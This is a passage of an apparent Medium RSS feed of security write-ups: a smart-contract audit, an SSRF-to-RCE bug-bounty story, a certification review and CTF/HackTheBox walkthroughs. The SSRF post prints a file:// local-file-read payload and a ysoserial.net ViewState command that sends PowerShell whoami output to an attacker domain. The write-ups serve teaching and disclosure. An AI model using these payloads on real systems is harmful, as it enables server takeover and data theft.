<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xUN7H1NK4BLE on Medium]]></title>
        <description><![CDATA[Stories by 0xUN7H1NK4BLE on Medium]]></description>
        <link>https://medium.com/@0xUN7H1NK4BLE?source=rss-38a3f4d196e6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*xw3IpEtIQ--_ODsx1do4Fg.jpeg</url>
            <title>Stories by 0xUN7H1NK4BLE on Medium</title>
            <link>https://medium.com/@0xUN7H1NK4BLE?source=rss-38a3f4d196e6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 14:51:10 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xUN7H1NK4BLE/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A Journey into Decentralized Security]]></title>
            <link>https://medium.com/@0xUN7H1NK4BLE/a-journey-into-decentralized-security-27dceeb0fc8c?source=rss-38a3f4d196e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/27dceeb0fc8c</guid>
            <dc:creator><![CDATA[0xUN7H1NK4BLE]]></dc:creator>
            <pubDate>Thu, 03 Apr 2025 15:12:36 GMT</pubDate>
            <atom:updated>2025-04-03T15:12:36.691Z</atom:updated>
            <content:encoded><![CDATA[<p>As Web3 continues to grow and evolve, so does the need for thorough security audits of decentralized applications (dApps). Recently, I had conduct my first security audit on a smart contract, specifically a decentralized application that stores private passwords.</p><p>In this blog post, I’ll walk you through the phases of my audit process, highlighting key vulnerabilities I discovered in the contract, and provide recommendations for improvement.</p><h3>Phases of a Web3 Security Audit</h3><h3>1. Initial Review</h3><p>In this phase, auditors familiarize themselves with the smart contract or dApp, understanding its functionality, architecture, and intended use. Documentation is reviewed to grasp the business logic.</p><h3>2. Scoping</h3><p>The scope defines the components to be audited and the security areas of focus. This includes clarifying the smart contract’s interaction with the blockchain and setting audit goals.</p><h3>3. Reconnaissance</h3><p>Auditors perform static analysis, test the contract in local environments, and identify potential attack vectors, including logic flaws and vulnerabilities from external dependencies.</p><h3>4. Vulnerability Identification</h3><p>Auditors identify vulnerabilities such as improper access control, gas inefficiencies, and security flaws, using both manual and automated testing tools.</p><h3>5. Reporting</h3><p>A detailed audit report is created, outlining each vulnerability, its impact, proof of concept, and remediation recommendations for developers to fix.</p><p>In our context, the scope of the audit was the <strong>PasswordStore</strong> contract, deployed on the Sepolia testnet, accessible at <a href="https://sepolia.etherscan.io/address/0x2ecf6ad327776bf966893c96efb24c9747f6694b#code">this address</a>. Since the contract was already deployed and we were focusing on vulnerability identification, the initial review and scoping phases were not necessary.</p><p>The source code for the contract is as follows:</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity 0.8.18;<br><br>/*<br> * @author not-so-secure-dev<br> * @title PasswordStore<br> * @notice This contract allows you to store a private password that others won&#39;t be able to see. <br> * You can update your password at any time.<br> */<br>contract PasswordStore {<br>    error PasswordStore__NotOwner();<br><br>    address private s_owner;<br>    string private s_password;<br><br>    event SetNetPassword();<br><br>    constructor() {<br>        s_owner = msg.sender;<br>    }<br><br>    /*<br>     * @notice This function allows only the owner to set a new password.<br>     * @param newPassword The new password to set.<br>     */<br>    function setPassword(string memory newPassword) external {<br>        s_password = newPassword;<br>        emit SetNetPassword();<br>    }<br><br>    /*<br>     * @notice This allows only the owner to retrieve the password.<br>     * @param newPassword The new password to set.<br>     */<br>    function getPassword() external view returns (string memory) {<br>        if (msg.sender != s_owner) {<br>            revert PasswordStore__NotOwner();<br>        }<br>        return s_password;<br>    }<br>}</pre><h3>Vulnerability Identification</h3><p>During the vulnerability identification phase, I reviewed the source code. On line 5, the contract declares string private s_password; to store the password. However, setting a variable to private in Solidity doesn&#39;t make it truly private, as all data stored on-chain is accessible to anyone. This means the password is exposed to anyone who can access the contract&#39;s storage.</p><p>Additionally, I noticed an access control issue in the setPassword function. This function is currently accessible to anyone, allowing unauthorized users to change the password. Ideally, this function should be restricted to the contract&#39;s owner or administrator.</p><p>Furthermore, there is a documentation error in the getPassword function. The documentation specifies that the function takes a newPassword parameter</p><pre>- @param newPassword The new password to set.</pre><p>but in reality, the function does not take any parameters.</p><p>After identifying the vulnerabilities, we proceed to the <strong>Reporting Phase</strong>, where we detail the findings, provide proof of concept (PoC), and suggest remediation strategies.</p><h4>H-1: Storing the Password on-Chain Makes It Visible to Anyone</h4><p><strong>Description:</strong><br>All data stored on-chain is publicly accessible. In the PasswordStore contract, the s_password variable, which stores the password, is exposed. Although it&#39;s marked as private, Solidity&#39;s access control does not prevent it from being viewed on-chain. This allows any user to read the password directly from the contract.</p><p><strong>Impact:</strong><br> This issue compromises the security of the contract, as anyone can retrieve the password, making the intended private storage feature ineffective.</p><p><strong>Proof of Concept:</strong><br> To demonstrate this vulnerability, we used <strong>Foundry</strong> to run a local test environment. Here’s the process we followed:</p><ol><li><strong>Set up the Foundry environment:</strong><br> First, we created a local chain using Foundry’s Anvil tool.</li></ol><pre>make anvil</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*21GhH9B9tuWUwY4xx0qHOQ.png" /></figure><p><strong>2. Deploy the contract:</strong><br> Next, we deployed the PasswordStore contract to our local chain.</p><pre>make deploy</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_yvy0y5VM-FL_RnNca_mew.png" /></figure><p><strong>3. Access the password storage slot:</strong><br> We used the cast tool to query the specific storage slot (the password is stored in the first slot) to retrieve the on-chain password:</p><pre>cast storage &lt;contract address&gt; 1 --rpc-url http://127.0.0.1:8545</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3176cEz7C6FgBurEoPhwNQ.png" /></figure><p>The output is a hexadecimal string and cast can be used to decode it.</p><pre>cast --to-ascii 0x6d7950617373776f726400000000000000000000000000000000000000000014</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*wUxpgeaVFQmBnZeCDKZQWg.png" /></figure><p><strong>Recommendation:</strong><br> To ensure the password cannot be accessed by unauthorized users, we recommend hashing the password before storing it on-chain. This will prevent anyone from directly reading the password, even if they have access to the contract.</p><h4>H-2: PasswordStore:setPassword() Function Lacks Access Control</h4><p><strong>Description:</strong><br> The setPassword() function is marked as external, which means it can be called by anyone, allowing unauthorized users to change the password. This is a major security flaw, as only the contract owner should have the ability to set the password.</p><pre>function setPassword(string memory newPassword) external {<br>    s_password = newPassword;<br>    emit SetNetPassword();<br>}</pre><p><strong>Impact:</strong><br> This vulnerability allows any user to change the contract’s password, effectively disrupting the functionality of the contract and potentially exposing sensitive data.</p><p><strong>Proof of Concept:</strong><br> We tested this vulnerability using <strong>Foundry</strong> by simulating a non-owner account calling the setPassword() function:</p><ol><li><strong>Test Setup:</strong><br> In the PasswordStore.t.sol file, we wrote the following test to ensure that non-owners can set the password:</li></ol><pre>function test_non_owner_set_password(address randomAddress) public {<br>    vm.assume(randomAddress != owner);<br>    vm.prank(randomAddress);<br>    string memory expectedPassword = &quot;myNewPassword&quot;;<br>    passwordStore.setPassword(expectedPassword);<br>    vm.prank(owner);<br>    string memory actualPassword = passwordStore.getPassword();<br>    assertEq(actualPassword, expectedPassword);<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VpJ5mZHLHOs0yztWOo1urg.png" /></figure><ol><li><strong>Test Execution:</strong><br> This test confirmed that a random address (non-owner) was able to change the password, which was later validated by retrieving the new password via getPassword().</li></ol><p><strong>Recommendation:</strong><br> To fix this issue, we suggest adding an access control modifier to the setPassword() function, ensuring only the contract owner can modify the password. This can be easily implemented by using the onlyOwner modifier from OpenZeppelin:</p><pre>if (msg.sender != owner) {<br>    revert NotOwner();<br>}</pre><h3>Final Thought</h3><p>As Web3 and decentralized applications continue to grow, conducting thorough security audits becomes increasingly important. In this post, I performed my first audit on the PasswordStore smart contract, focusing on key vulnerabilities such as the exposure of the password and lack of access control for critical functions. Using Foundry, I tested the contract in a local environment to demonstrate how these issues could be exploited.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=27dceeb0fc8c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How SSRF Leads to RCE in a .NET Application]]></title>
            <link>https://medium.com/@0xUN7H1NK4BLE/how-ssrf-leads-to-rce-in-a-net-application-ee1b13812245?source=rss-38a3f4d196e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee1b13812245</guid>
            <category><![CDATA[rce-vulnerability]]></category>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[lfi]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <dc:creator><![CDATA[0xUN7H1NK4BLE]]></dc:creator>
            <pubDate>Wed, 26 Mar 2025 06:36:00 GMT</pubDate>
            <atom:updated>2025-03-26T06:36:00.160Z</atom:updated>
            <content:encoded><![CDATA[<h3>How SSRF Leads to RCE in a .NET Application</h3><p>In the world of web application security, a Server-Side Request Forgery (SSRF) vulnerability can sometimes open a Pandora’s box, leading to Remote Code Execution (RCE) with the right set of conditions. This is the story of how I explored an SSRF vulnerability and escalated it to RCE within a .NET web application.</p><h3>The Unexpected Discovery</h3><p>It all started with a seemingly innocent endpoint — ConvertToPDF.aspx. The purpose of this endpoint was straightforward: it allowed the conversion of system reports into PDF format. I assumed it was just a regular functionality, perhaps used for exporting reports. But as I started digging deeper, the application revealed more than it was meant to.</p><p>In this application, users would provide a URL to fetch data — something like http://example.com/userinfo—and this URL would be sent to a backend DLL for processing to generate a PDF file. Normally, I wouldn’t think much of it, but what if the application wasn’t validating the URL input properly? What if I could change this URL to something unexpected?</p><h3>The Initial Exploit: SSRF in Action</h3><p>Curiosity got the best of me. What if I replaced the URL with http://evil.com? To my surprise, the system generated a PDF using the content from evil.com—completely unexpected behavior. The application wasn&#39;t validating or sanitizing the input URL, which opened the door to further exploration.</p><p>It wasn’t just about fetching arbitrary content, though. I started thinking about how to exploit this further. My first attempt was a simple JavaScript payload to read files, but it didn’t work as expected. Upon further investigation, I discovered that the application saves the URL data as a .html file, which is then used to generate the PDF. This behavior was identified when I used document.write = document.domain, which revealed the path file://somepath/data.html in the page source. This clue hinted at the application internally storing the data in a .html format before converting it to PDF.</p><p>The key realization was that the application was using the browser’s ability to navigate to file:// URLs. When manipulating the URL to use the file:// scheme, the browser attempts to fetch local files directly from the server’s file system. The reasoning behind this is simple: browsers are designed to interpret file:// URLs as requests to access local files rather than remote web resources, which bypasses the usual security checks for web requests.</p><p>Here’s the payload I used:</p><pre>&lt;html&gt;<br>&lt;script&gt;<br>    window.location=&#39;file:///C:/Windows/System32/drivers/etc/hosts&#39;<br>&lt;/script&gt;<br>&lt;/html&gt;</pre><p>Boom! The contents of the hosts file were returned in the PDF. This confirmed that the SSRF vulnerability could be leveraged to read local files. This behavior occurs because the application is not filtering or sanitizing user-supplied URLs, making it susceptible to file read attacks.</p><p>However, this was just the beginning of the journey. Once I could access files on the server, it opened the door to much more critical exploitation — remote code execution (RCE), but that’s another chapter of this discovery.</p><h3>Thinking Bigger: How to Escalate to RCE?</h3><p>At this point, reading files was interesting, but it wasn’t the ultimate goal. The real challenge was escalating this vulnerability to <strong>Remote Code Execution (RCE)</strong>. Since the application was built using .NET, I considered common attack vectors in .NET applications — one of the most powerful being <strong>insecure deserialization</strong>.</p><p>The idea was simple: if the application deserialized user-controlled data without proper validation, it could allow <strong>arbitrary code execution</strong>. However, to exploit this, I needed the <strong>encryption and validation keys</strong> used for <strong>ViewState</strong>.</p><h3>What is ViewState and Why is it Important?</h3><p><strong>ViewState</strong> is a mechanism in <strong>ASP.NET Web Forms</strong> used to maintain the state of a web page across postbacks (i.e., when a user submits a form, and the page reloads). It is a <strong>hidden field</strong> (__VIEWSTATE) in the HTML form that stores encoded data about the page&#39;s controls and their states.</p><p>Since ViewState contains sensitive data, ASP.NET <strong>signs and encrypts</strong> it using <strong>validation and decryption keys</strong> stored in the web.config file. These keys prevent attackers from modifying ViewState and injecting malicious data.</p><p>However, if an attacker can retrieve these keys, they can <strong>generate and sign their own malicious ViewState</strong>, which the application will trust and deserialize. This is where <strong>insecure deserialization</strong> becomes an attack vector — allowing execution of arbitrary commands on the server.</p><p>Now, the next step was clear: I needed to <strong>find the encryption keys</strong> hidden in the application’s configuration.</p><h3>Finding the Web.config File</h3><p>Before proceeding with the attack, I needed access to <strong>encryption keys</strong> used by the application. These keys are often stored in the <strong>web.config</strong> file, a crucial configuration file in .NET applications that contains sensitive information such as <strong>connection strings, machine keys, and encryption parameters</strong>.</p><p>However, the web.config file wasn’t in the default location. The application had different components spread across multiple directories, making it harder to locate. To find it, I <strong>brute-forced different paths</strong> and eventually discovered its location. Once I had access to the file, I extracted the <strong>validation and decryption keys</strong>, which were necessary to generate valid ViewState payloads.</p><h3>Exploiting Insecure Deserialization: RCE</h3><p>With the required keys in hand, I was ready to escalate the attack. ASP.NET ViewState can be a dangerous attack surface if <strong>insecure deserialization</strong> is possible. By default, ViewState is encrypted and signed to prevent tampering, but if an attacker can obtain the encryption keys, they can <strong>generate malicious ViewState payloads</strong> that execute commands on the server.</p><h4>Why Does ysoserial.net Work?</h4><p><strong>ysoserial.net</strong> is a tool that generates <strong>serialized payloads</strong> to exploit insecure deserialization in .NET applications. It creates a serialized object containing <strong>arbitrary commands</strong>, which are executed when the application <strong>deserializes</strong> the manipulated ViewState data.</p><p>By leveraging <strong>ysoserial.net</strong>, I crafted a ViewState payload that executed a PowerShell command to exfiltrate server information. Here’s the command I used:</p><pre>ysoserial.exe -p ViewState -g TextFormattingRunProperties -c &quot;powershell.exe -Command \&quot;$w=(whoami); Invoke-WebRequest -Uri http://&lt;attackerdomain&gt;/aaaa?data=$w -UseBasicParsing\&quot;&quot; --path=&quot;&lt;path&gt;.aspx&quot; --apppath=&quot;/&quot; --decryptionalg=&quot;AES&quot; --decryptionkey=&quot;&lt;decrypt-key&gt;&quot; --validationalg=&quot;SHA1&quot; --validationkey=&quot;&lt;key&gt;&quot;</pre><ul><li>-p ViewState: Specifies that we are generating a ViewState payload.</li><li>-g TextFormattingRunProperties: Uses a gadget chain that allows code execution in .NET applications.</li><li>-c &quot;powershell.exe ...&quot;: Executes a PowerShell command to send the server&#39;s whoami output to an external server.</li><li>--decryptionalg=&quot;AES&quot; and --decryptionkey=&quot;&lt;decrypt-key&gt;&quot;: Ensure the payload is properly encrypted using the extracted key.</li><li>--validationalg=&quot;SHA1&quot; and --validationkey=&quot;&lt;key&gt;&quot;: Ensures that the payload is properly signed so that the application accepts it.</li></ul><h3>Important Note on the --path Parameter</h3><p>The --path argument specifies <strong>where the ViewState is evaluated</strong>. This is crucial because the exploit will only work if:</p><ol><li><strong>ViewState is enabled</strong> on the targeted .aspx page.</li><li>The payload is injected into the <strong>same request</strong> where ViewState is processed.</li></ol><p>For example, if the _VIEWSTATE parameter is evaluated in the <strong>search function</strong>, and the endpoint is /search.aspx, then:</p><ul><li>The --path in the payload generation should be <strong>/search.aspx</strong>.</li><li>The <strong>generated payload</strong> must be injected into the _VIEWSTATE parameter of the <strong>same endpoint (</strong><strong>/search.aspx)</strong>.</li></ul><p>Failing to match the correct endpoint will <strong>invalidate the payload</strong>, preventing execution.</p><p>Once the malicious ViewState was injected into a vulnerable endpoint, <strong>the application deserialized and executed the PowerShell command</strong>, confirming <strong>Remote Code Execution</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YpsxGev4QuWhHsXtl0nKTw.png" /></figure><p>This attack demonstrated how a simple <strong>SSRF vulnerability</strong> could be chained with <strong>insecure deserialization</strong> to compromise the entire application — leading to <strong>full server takeover</strong>.</p><h3>Conclusion</h3><p>Through a combination of SSRF, file reading, and insecure deserialization, I was able to escalate a simple vulnerability into full remote code execution. This type of attack shows how interconnected security flaws can be: what starts as an SSRF can quickly lead to LFI, and with the right conditions, it can escalate to a full RCE scenario.</p><p>The key takeaways from this exercise are:</p><ol><li><strong>Always validate input</strong>: Proper URL validation can prevent SSRF attacks, which can lead to much more severe consequences.</li><li><strong>Insecure deserialization is a huge risk</strong>: If an application deserializes untrusted data, attackers can use it to execute arbitrary code.</li><li><strong>Never underestimate the impact of a seemingly harmless endpoint</strong>: Even a simple file conversion function can open the door to critical vulnerabilities if not implemented securely.</li></ol><p>By applying proper security measures such as URL whitelisting, input validation, and secure deserialization, such attacks can be mitigated and the attack surface minimized.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee1b13812245" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CPTS- Everything You Need to Know]]></title>
            <link>https://medium.com/@0xUN7H1NK4BLE/cpts-everything-you-need-to-know-7a55224c0320?source=rss-38a3f4d196e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a55224c0320</guid>
            <dc:creator><![CDATA[0xUN7H1NK4BLE]]></dc:creator>
            <pubDate>Mon, 27 May 2024 05:59:39 GMT</pubDate>
            <atom:updated>2024-05-27T05:59:39.579Z</atom:updated>
            <content:encoded><![CDATA[<p>I recently achieved a significant milestone in my cybersecurity career: I passed the HTB Certified Penetration Testing Specialist (HTB CPTS) exam. As my first certified exam, it was a challenging yet rewarding experience. Today, I want to share my journey, including how I prepared, the strategies I used, and some essential do’s and don’ts during the learning phase and exam.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*RQpahIfb6oXlVnEh" /></figure><p>Many posts and people talk about HTB Academy and the course content, often stating that the academy course alone is sufficient for the exam. However, based on my experience, this is debatable. While HTB Academy covers most of the necessary topics, it lacks in teaching one critical skill: connecting the dots.</p><p>The labs at HTB Academy are straightforward, providing clear instructions on what to do and how to do it. While this is excellent for learning specific techniques, it doesn’t fully prepare you for the open-ended nature of real-world penetration testing or the exam. In these scenarios, there is no guidance to tell you if you’re on the right path or if you should continue investing time in a particular approach.</p><p>The most crucial skill you need to develop is the ability to connect the dots. This involves understanding what possibilities might arise if a particular method works and what prerequisites are necessary for success. In real-world penetration testing and the exam, you need to be able to evaluate your actions and decide the best course without explicit instructions.</p><p>Now, let’s talk about the learning process. Everyone suggests making good notes that are clear and to the point, and this is crucial. However, another important aspect is organizing your notes so that you can quickly find the information you need with just one search. For example, if you’re looking for “command injection bypass,” your notes should be structured in a way that this search term directs you straight to the relevant section. This approach will save you a lot of time during both the learning phase and the exam.</p><p>Key lessons to focus on during the learning process include:</p><ul><li>Basics of Everything: Ensure you have a solid understanding of fundamental concepts.</li><li>File Transfers: Learn various methods to transfer files between systems.</li><li>Pivoting: Master techniques to move within a network after gaining initial access.</li><li>Tunneling and Port Forwarding: Understand how to use these methods to bypass network restrictions and access internal systems.</li><li>Active Directory Enumeration &amp; Attacks: Gain proficiency in identifying and exploiting vulnerabilities within Active Directory environments</li></ul><p>Finally, as many suggest, try attacking enterprise networks blindly. This means practising in environments where you don’t have guided instructions, which simulate real-world scenarios. If possible, try some pro labs; this will be a plus point during your exam preparation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*giqh4kH6wIaCOzRr.png" /></figure><p>Now, that we’ve discussed the course and learning process, let’s delve into some dos and don’ts. During the learning phase, it’s essential to attempt tasks independently. If you encounter difficulties, try revisiting the content first. If that doesn’t resolve the issue, don’t hesitate to seek help. However, it’s crucial to understand where you went wrong and why. This approach fosters a deeper understanding of the content and enhances critical thinking skills. Additionally, forming study groups with friends can help maintain consistency and motivation.</p><p>Things not to do include never copy-pasting commands directly into the terminal. Instead, strive to write them out yourself. This practice enhances your muscle memory and strengthens your problem-solving skills. Additionally, avoid giving up too easily when faced with challenges. Instead of immediately resorting to Google or forums for solutions, try to explore related concepts deeper on your own. This approach encourages independent thinking and fosters a deeper understanding of the material.</p><p>During the exam, which spans 10 days, the goal is to accumulate at least 85 points and submit a clear, comprehensive report. In my case, it took six days to reach 90 points with 50% of the report completed. Days seven and eight were dedicated to achieving the remaining points, while I finalized the report on day nine before submission.</p><p>My report ended up being over 110 pages long, emphasizing the importance of documenting progress and attack paths throughout the exam. Writing the report as you go ensures that you don’t forget critical details amidst the complexity of the attack paths.</p><p>Personally, I found the exam challenging, and there were moments when I felt overwhelmed. However, my experience with HTB machines and participation in pro labs proved beneficial and provided me with an advantage. I highly recommend engaging in pro labs and HTB machines to better prepare for the exam.</p><p>There were instances during the exam where I faced setbacks and felt stuck. During these times, I found it helpful to take breaks, drink water, and go for a walk to clear my mind. Returning with a fresh perspective, I would start writing the report and reflect on what might have been missed. By retracing my steps and considering alternative approaches, I was able to overcome obstacles and find solutions.</p><p>Final tips and tricks from me</p><ol><li>Master <a href="https://github.com/nicocha30/ligolo-ng">Ligolo-ng</a>: Ligolo-ng stands out as the premier choice for network tunneling, offering unparalleled capabilities and flexibility. Its robust features make it indispensable for navigating complex network architectures and accessing restricted resources. Stay tuned as I explore this tool further in an upcoming article.</li><li>Master Different attacks in Active Directory: it’s crucial to understand various attacks targeting AD, such as Responder, Domain Password Spray, Pass-the-Ticket (PtT) Attack, Kerberoasting, Pass-the-Hash, Pass-the-Ticket, and DCShadow. You need comprehensive knowledge about these attacks, including their motivations, common occurrence scenarios, and underlying causes. Additionally, familiarity with Active Directory policies and its attack.</li><li>Recon: Recon is an indispensable skill in cybersecurity. Whenever you hit a dead end, initiating recon is key. It’s not just about gathering information; recon teaches you to connect the dots and make sense of the environment. This skill is paramount for navigating complex systems and understanding potential vulnerabilities.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a55224c0320" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sau — Hackthebox]]></title>
            <link>https://medium.com/@0xUN7H1NK4BLE/sau-hackthebox-90751735e503?source=rss-38a3f4d196e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/90751735e503</guid>
            <dc:creator><![CDATA[0xUN7H1NK4BLE]]></dc:creator>
            <pubDate>Sun, 05 Nov 2023 09:28:12 GMT</pubDate>
            <atom:updated>2023-11-05T09:28:12.822Z</atom:updated>
            <content:encoded><![CDATA[<p>Sau — Hackthebox</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hnaAASt92VlmNFNyxLY9ew.png" /></figure><h3>Enumeration</h3><p>During the enumeration, we found two open ports. 22 &amp; 55555</p><pre>PORT      STATE SERVICE VERSION<br>22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>|   3072 aa8867d7133d083a8ace9dc4ddf3e1ed (RSA)<br>|   256 ec2eb105872a0c7db149876495dc8a21 (ECDSA)<br>|_  256 b30c47fba2f212ccce0b58820e504336 (ED25519)<br>55555/tcp open  unknown<br>| fingerprint-strings:<br>|   FourOhFourRequest:<br>|     HTTP/1.0 400 Bad Request<br>|     Content-Type: text/plain; charset=utf-8<br>|     X-Content-Type-Options: nosniff<br>|     Date: Tue, 11 Jul 2023 09:35:52 GMT<br>|     Content-Length: 75<br>|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$<br>|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:<br>|     HTTP/1.1 400 Bad Request<br>|     Content-Type: text/plain; charset=utf-8<br>|     Connection: close<br>|     Request<br>|   GetRequest:<br>|     HTTP/1.0 302 Found<br>|     Content-Type: text/html; charset=utf-8<br>|     Location: /web<br>|     Date: Tue, 11 Jul 2023 09:35:25 GMT<br>|     Content-Length: 27<br>|     href=&quot;/web&quot;&gt;Found&lt;/a&gt;.<br>|   HTTPOptions:<br>|     HTTP/1.0 200 OK<br>|     Allow: GET, OPTIONS<br>|     Date: Tue, 11 Jul 2023 09:35:25 GMT<br>|_    Content-Length: 0</pre><p>After that we look into the 5555 port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*dk4JbwHBsFMgltVqPq9mQQ.png" /></figure><p>found: request-buckets version 1.2.1 after some search we found <a href="https://github.com/advisories/GHSA-58g2-vgpg-335q">https://github.com/advisories/GHSA-58g2-vgpg-335q</a> <a href="https://gist.github.com/b33t1e/3079c10c88cad379fb166c389ce3b7b3">https://gist.github.com/b33t1e/3079c10c88cad379fb166c389ce3b7b3</a> Following the steps outlined in the document, we created a new basket, but we modified the request from GET to POST as follows.</p><pre>{<br>&quot;forward_url&quot;: &quot;http://127.0.0.1:80&quot;,<br>&quot;proxy_response&quot;: false,<br>&quot;insecure_tls&quot;: false,<br>&quot;expand_path&quot;: true,<br>&quot;capacity&quot;: 250<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*BOswgotqa_Vq5C4E65Fd5g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*RLa9EwR0rYKfVCvWqWQpRg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OijmgIzKyVAsQXygKyhuGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*QeDW7uzJAlu53C9DwyfcqQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zrOvSKOdI9Sf2azKiXjkGA.png" /></figure><p>we see that Maltrail (v0.53) is hosted in port 80 only for the internal network. On further search we found <a href="https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/">https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*rOQ7oPTBiWbwAeVPe6J9hw.png" /></figure><p>so, let’s first request on login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rNUzIveyCjwlqMcyZ_xKTQ.png" /></figure><p>we see login fail.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*hkQ2wlnVNgXkJJcmUBFSuA.png" /></figure><p>so, let’s change the request method and use the exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mhXHgK1mzR8R-dk-X9i96g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jfCtJka99BExX3D-wTMVIw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*NGxrZH5epOnJAWvaFfMKBA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l7UjWY0CcfBuUlRbc7rdyw.png" /></figure><p>And boom!!! we got the shell.</p><pre>script /dev/null -c bash</pre><p>starting an interactive TTY</p><h3>root</h3><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S5_Z3mUgU8Jsy9PI_LK-OQ.png" /></figure><p><a href="https://gtfobins.github.io/gtfobins/systemctl/#sudo">https://gtfobins.github.io/gtfobins/systemctl/#sudo</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*5gzFH1Gc0FC7HTfnmpa0uw.png" /></figure><p>So, now we have successfully pwned!!! the machine.</p><p>If you have any queries you can connect me on LinkedIn.</p><p>LinkedIn: <a href="https://www.linkedin.com/in/anish-bhattarai-385013243/">https://www.linkedin.com/in/anish-bhattarai-385013243/</a></p><p>#happyhacking #hackthebox</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=90751735e503" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AmateursCTF- rev/volcano]]></title>
            <link>https://medium.com/@0xUN7H1NK4BLE/amatersctf-rev-volcano-a2955f686c1d?source=rss-38a3f4d196e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/a2955f686c1d</guid>
            <dc:creator><![CDATA[0xUN7H1NK4BLE]]></dc:creator>
            <pubDate>Thu, 20 Jul 2023 05:30:25 GMT</pubDate>
            <atom:updated>2023-07-25T02:50:28.029Z</atom:updated>
            <content:encoded><![CDATA[<p>This is the write-up for amatersCTF’s rev/volcano, which had 500 points when I solved it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*nawTDRManUY2DSZfoXrCiQ.png" /></figure><p>At first, I look at the file type of the given file “volcano”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FfYn3dfrUjdTM8emLlsxQA.png" /></figure><p>On checking it, I found the Linux executable (ELF) and added it in Ghidra for further analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yoPkINkapqesKGK9QAABwA.png" /></figure><p>The code was relatively easy to understand. So, I started to reverse the working mechanism.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*a3nmXBbhpqJZ-0s3K5c6IQ.png" /></figure><p>At first, the code asked for user input and input is passed into the function <strong><em>FUN_001012bb.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*Slh5BBR9CWVbwepfrQiNIg.png" /></figure><p>Evaluating it, I thought it needed to be brute-force therefore, I created the following script to find the number that could satisfy the given condition.</p><pre>def FUN_001012bb(param_1):<br>    if (param_1 &amp; 1) == 0:<br>        if param_1 % 3 == 2:<br>            if param_1 % 5 == 1:<br>                if param_1 + ((param_1 - param_1 // 7 &gt;&gt; 1) + param_1 // 7 